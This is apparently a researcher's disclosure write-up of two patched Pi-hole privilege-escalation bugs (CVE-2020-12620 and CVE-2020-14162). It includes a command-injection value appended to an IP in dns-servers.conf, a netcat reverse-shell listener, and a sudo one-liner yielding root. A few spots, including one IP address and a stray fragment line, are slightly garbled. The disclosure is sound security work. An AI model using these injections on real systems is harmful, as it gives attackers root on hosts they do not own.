Vulnerabilities regarding Pihole's setdns command

Jul 21, 2020

Pair of local privilege escalation vulnerabilities in Pihole <5.0 and <5.1

tl;dr

CVE-2020-12620: edit /etc/pihole/dnsserver.conf to append &&/tmp/reverseshell.sh to an ip address to get root shell on <5.0

CVE-2020-14162: `sudo pihole -a setdns 1.1.1.1&&bash` to get root shell (need to be able to run pihole with UID 0, www-data can) on <5.1

This discovery started with me running `grep -R exec *.php` on the source code for the web interface to look for command injection vulnerabilities, which lead to me discovering this line of code on line ~411 in savesettings.php

```
$return = exec("sudo pihole -a setdns \"".$IPs."\" ".$extra);
```

Going up the DU chain I didn't see any point where the $IPs variable is sanitized, however the variable is the result of a file read of /etc/pihole/dnsserver.conf, which means it can't be exploited by just having access to the web console, you'll also need write access to that file.

This file is a list of semicolon separated IP addresses that can be selected to be pihole's upstream DNS server. I tried appending a command to the end of an IP address to see what would happen. The only thing that I could get to work was appending &&/tmp/evil.sh to the end of an IP, where evil.sh is a reverse shell script.

```
pi@raspberry:/etc/pihole$ cat dns-servers.conf
(ECS);8.8.8.8;8.8.4.4;2001:4860:4860:0:0:0:0:8888;2001:4860:4860:0:0:0:0:8844
OpenDNS (ECS);208.67.222.22566/tmp/evil.sh;208.67.220.220;2620:119:35::35;2620:119:53::53
Level3;4.2.2.1;4.2.2.2;;
Comodo;8.26.56.26;8.20.247.20;;
DNS.WATCH;84.200.69.80;84.200.70.40;2001:1608:10:25:0:0:1c04:b12f;2001:1608:10:25:0:0:9249:d69b
Quad9 (filtered, DNSSEC);9.9.9.9;149.112.112.112;2620:fe::fe;2620:fe::9
Quad9 (unfiltered, no DNSSEC);9.9.9.10;149.112.112.10;2620:fe::10;2620:fe::fe:10
Quad9 (filtered + ECS);9.9.9.11;149.112.112.11;2620:fe::11;
Cloudflare;1.1.1.1;1.0.0.1;2606:4700:4700::1111;2606:4700:4700::1001
```

The next time the upstream DNS server is saved through the Admin Console with that IP selected, evil.sh will execute.

```
nc -lvppi@raspberry:~/py $ nc -lvp 4242
Listening on [0.0.0.0] (family 2, port 4242)
Connection from localhost 54932 received!
root@raspberry:/var/www/html/admin#
```

An obscure use case but a vulnerability nonetheless. This was patched on 5.0 and assigned CVE-2020-12620.

What I didn't notice at first was that this really shouldn't have returned a root shell. I thought that the command being run was `sudo pihole -a setdns 1.1.1.1&&/tmp/evil.sh` , which should return a shell as www-data, not root, since sudo doesn't carry over to the command on the other side of the double ampersands.

You can test this yourself by running `sudo whoami&&whoami` .

I didn't think too much of this though, because at the time www-data could run any command with sudo without a password. However, the developers later restricted www-data to only be able to run `pihole` as root.

Digging deeper it turns out that what is going on here is that the `setdns` command in pihole is setting an environment variable to be equal to the provided value, which is then sourced. The shell metacharacters in the environment variable's value is causing code to be executed as it is sourced. The command being run was actually `sudo pihole -a setdns "1.1.1.1&&/tmp/evil.sh"` and I just didn't notice the quotation marks.

Which means that we can just run `sudo pihole -a setdns "1.1.1.1&&bash"` from the command line and get a root shell if we have permission to run that command with sudo and nothing else.

```
www-data@raspberrypi:/home/pi$ sudo -l
Matching Defaults entries for www-data on raspberrypi:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bi
n,
    env_keep+=NO_AT_BRIDGE, env_keep+="http_proxy HTTP_PROXY",
    env_keep+="https_proxy HTTPS_PROXY", env_keep+="ftp_proxy FTP_PROXY",
    env_keep+=RSYNC_PROXY, env_keep+="no_proxy NO_PROXY"

User www-data may run the following commands on raspberrypi:
    (root) NOPASSWD: /usr/local/bin/pihole
www-data@raspberrypi:/home/pi$ sudo pihole -a setdns "1.1.1.1&&bash"
root@raspberrypi:/home/pi# _
```

This makes pihole <5.1's CLI a GTFObin. While GTFObins aren't normally CVE worthy, www-data having permission to run this with sudo by default makes this a vulnerability, since it effectively turns any RCE in the website into root access. This was assigned CVE-2020-14162.

" && /tmp/evil.sh instead, but there's not much of a reason to)

Timeline:

2020-04-22: Contacted Pihole team for initial vulnerability

2020-04-24: Received reply from Pihole

2020-05-01: CVE-2020-12620 assigned, informed Pihole developers

2020-05-03: patch applied for release with 5.0 update

2020-05-10: 5.0 released

2020-06-08: contacted pihole team for second vulnerability

2020-06-13: pihole team replied and applied a patch for release with 5.1 update

2020-07-15: 5.1 released

2020-07-21: published writeup with go-ahead from the developers